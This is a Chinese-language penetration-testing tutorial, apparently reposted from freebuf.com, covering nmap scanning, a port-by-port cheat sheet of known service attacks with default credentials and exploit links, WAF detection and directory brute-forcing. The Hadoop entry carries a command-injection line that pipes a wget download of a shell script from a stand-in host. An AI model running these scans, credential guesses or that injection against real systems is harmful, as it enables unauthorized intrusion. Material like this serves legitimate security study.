(最全干货分享)渗透测试全流程归纳总结之三 – 作者:白色的空盒子

获取更多学习资料、想加入社群、深入学习,请扫我的二维码或加Memory20000427。
image
进来先点个赞,评个论,关个注呗~

0x01 主动探测

从管理员和用户的角度了解整个WEB应用乃至整个目标的全貌,主动探测会暴露ip以及留下日志信息,所以要…

1.主动扫描

1.1常见服务漏洞

nmap的功能:
脚本扫描,隐蔽扫描,端口扫描,服务识别,OS识别,探测WAF
nmap脚本主要分为以下几类,在扫描时可根据需要设置
–script=类别这种方式进行比较笼统的扫描:

auth: 负责处理鉴权证书(绕开鉴权)的脚本
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行whois解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与intrusive相反,属于安全性脚本
version: 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

nmap --script=auth 192.168.137.*
负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令

nmap --script=brute 192.168.137.*
提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解

nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击

nmap --script=vuln 192.168.137.*
检查是否存在常见漏洞

nmap -n -p445 --script=broadcast 192.168.137.4
在局域网内探查更多服务开启状况

nmap --script external 202.103.243.110
利用第三方的数据库或资源,例如进行whois解析

nmap --script banner ip
nmap -p port -sV ip
获取软件版本信息

nmap -O ip
操作系统信息,版本

nmap -A -v -sS -T2 ip
完整信息获取,详细显示,syn探测,高速扫描,系统和服务版本信息,脚本扫描和路由跟踪,外网扫描T2比较合适,T4以上不准确

-sN;-sF;-sX
隐蔽扫描
  -sN是Null扫描,是通过发送非常规的TCP通信数据包进行探测
  nmap -sN 127.0.0.1
  -sF是FIN扫描,当我们使用TCP SYN扫描时可能会被目标主机的防火墙发现,会阻止SYN数据包
  ,这时我们使用TCP FIN扫描方式会有很好的穿透效果.
  nmap -sF 127.0.0.1

扫描前1000号TCP端口
nmap 192.168.100.2

Ping扫描8个本地主机(按ARP、ICMP、TCP 80的顺序)
nmap –sP 192.168.100.0-7

扫描80,443端口
nmap -p 80,443 192.168.100.2

扫描前1000号TCP端口,OS指纹,服务,然后运行一个NSE脚本
sudo nmap -A 192.168.100.2

扫描全部65535个TCP端口,OS指纹,服务,然后运行一个NSE脚本
sudo nmap –A –p- 192.168.100.2

扫描前1000号UDP端口
sudo nmap -sU 192.168.100.2

扫描所有65535个UDP端口
sudo nmap -sU –p- 192.168.100.2

扫描所有65535个UDP端口,并获取服务、OS指纹,之后运行一些NSE脚本
sudo nmap –sU -p- -A 192.168.100.2

nmap脑图备查:见笔记

1.2常见端口漏洞利用

快速扫描:
Masscan -p80,800 ip –rate=10000
21 / FTP
匿名/暴力破解
拒绝服务
22 / SSH
暴力破解
23 / telnet
Winbox(CVE-2018-14847)
https://github.com/BasuCert/WinboxPoC
弱口令 / 暴力破解
161 / snmp
弱口令
https://blog.csdn.net/archersaber39/article/details/78932252
389 / ladp
匿名访问
https://www.cnblogs.com/persuit/p/5706432.html
ladp注入
http://www.4hou.com/technology/9090.html
https://www.freebuf.com/articles/web/149059.html
443 / ssl
openssl心脏出血
https://paper.seebug.org/437/
http://www.anquan.us/static/drops/papers-1381.html
https://www.freebuf.com/sectool/33191.html
445 / smb
win10拒绝服务
永恒之蓝RCE
875 / rsync
匿名访问
http://www.anquan.us/static/bugs/wooyun-2016-0190815.html
https://paper.seebug.org/409/
http://www.91ri.org/11093.html
1433 / mssql
暴力破解
http://www.anquan.us/static/drops/tips-12749.  html
https://www.seebug.org/appdir/Microsoft%20SQL%20Server
1521 / oracle
暴力破解
https://www.exploit-db.com/exploits/33084
2601 / zebra
http://www.anquan.us/static/bugs/wooyun-2013-047409.html
3128 / squid
3306 / mysql
RCE
http://www.91ri.org/17511.html
CVE-2015-0411
hash破解
https://www.freebuf.com/column/153561.html
waf绕过
https://www.freebuf.com/articles/web/155570.html
general_log_file getshell
https://www.freebuf.com/column/143125.html
提权
http://www.91ri.org/16540.html
3312 / kangle
getshell
https://www.secpulse.com/archives/23927.html
3389 / rdp
shift 放大镜 输入法绕过 guest用户
永恒之蓝(ESTEEMAUDIT)
https://www.freebuf.com/articles/system/132171.html
https://www.anquanke.com/post/id/86328
ms12-020
https://blog.csdn.net/meyo_leo/article/details/77950552
4440 / rundeck
https://www.secpulse.com/archives/29500.html
4848 / glassfish
文件读取
https://www.secpulse.com/archives/42277.html
https://www.anquanke.com/post/id/85948
GlassFish2 / admin:admin GlassFish3,4 / 如果管理员不设置帐号本地会自动登录,远程访问会提示配置错误
5432 / PostgreSQL
RCE
https://www.cnblogs.com/KevinGeorge/p/8521496.html
https://www.secpulse.com/archives/69153.html
默认账号postgres
参考
http://www.91ri.org/13070.html
http://www.91ri.org/6507.html
5672,15672,4369,25672 / RabbitMQ
(guest/guest)
5900 / VNC
https://www.seebug.org/appdir/RealVNC
5984 / CouchDB
http://xxx:5984/_utils/
6082 / varnish
CLI 未授权
https://www.secpulse.com/archives/10681.html
6379 / redis
Redis未授权
ssh publickey
crontab
webshell
反序列化
开机自启文件夹写bat
参考
https://www.freebuf.com/column/170710.html
7001,7002 / WebLogic
默认弱口令
weblogic/weblogic ,weblogic/welcom ,weblogic/welcom1,weblogic1/weblogic
反序列
CVE-2018-2628
https://www.freebuf.com/articles/web/169770.html
https://www.seebug.org/appdir/WebLogic
9200,9300 / elasticsearch
CVE-2015-1427
http://www.anquan.us/static/drops/papers-5142.html
CVE-2018-17246
https://www.seebug.org/vuldb/ssvid-97730
参考
https://www.seebug.org/search/?keywords=elasticsearch
9000 / fcgi
https://paper.seebug.org/289/
9043 / WebSphere
Websphere8.5
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7
http://localhost:9043/ibm/console
后台未授权,登录后可部署WAR包
SOAP服务有反序列化
弱口令:admin / password
11211 / memcache
未授权
UDP反射
https://shockerli.net/post/memcached-udp-reflection-attack-bug/
27017,27018 / Mongodb
未授权
注入
https://www.anquanke.com/post/id/83763
phpMoAdmin RCE
https://www.aqniu.com/threat-alert/6978.html
50000 / SAP
SAP命令执行
https://www.secpulse.com/archives/20204.html
50070,50030 / hadoop
未授权
https://www.freebuf.com/vuls/173638.html
命令执行
host:50060/pstack?pid=123|wget http://somehost/shell.sh
https://www.seebug.org/search/?keywords=hadoop
其他
http://www.91ri.org/15441.html

1.3WAF及bypass

探测WAF
Nmap探测WAF有两种脚本,
一种是http-waf-detect,一种是http-waf-fingerprint。

nmap -p port --script=http-waf-detect ip

wafw00f -a http://example.com   
sqlmap-u “http://www.vxxxx.org/ex.php?id=1” --identify-waf   

bypass:
手工注入,详见笔记

1.4目录、后台和敏感路径文件扫描

御剑目录(土司专版,笔记里有)、后台扫描(图片属性地址暴露),
完善目录和账密字典方法:
基础字典包合并去重

dymerge.py -u
python pydictor.py -tool uniqbiner /my/dict/dirpath --output uniq.txt

python pydictor.py -tool uniqifer /tmp/dicts.txt –output /tmp/uniq.txt

2.人工浏览\逐个请求burp

非常重要,有必要手动去浏览每个页面,点击页面上每一个跳转,这样在Burp的sitemap里面就可以出现这些请求和响应。
图片后台地址\图片后面的信息
跳转参数\奇怪的参数
泄露邮箱等社工信息
业务逻辑\架构

3.自动化

自动化渗透测试框架:(待补充)
Sn1per
Ary
自动化信息收集效率较高,从github上多找一找,也可以自己写

来源:freebuf.com 2021-04-19 23:32:38 by: 白色的空盒子

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论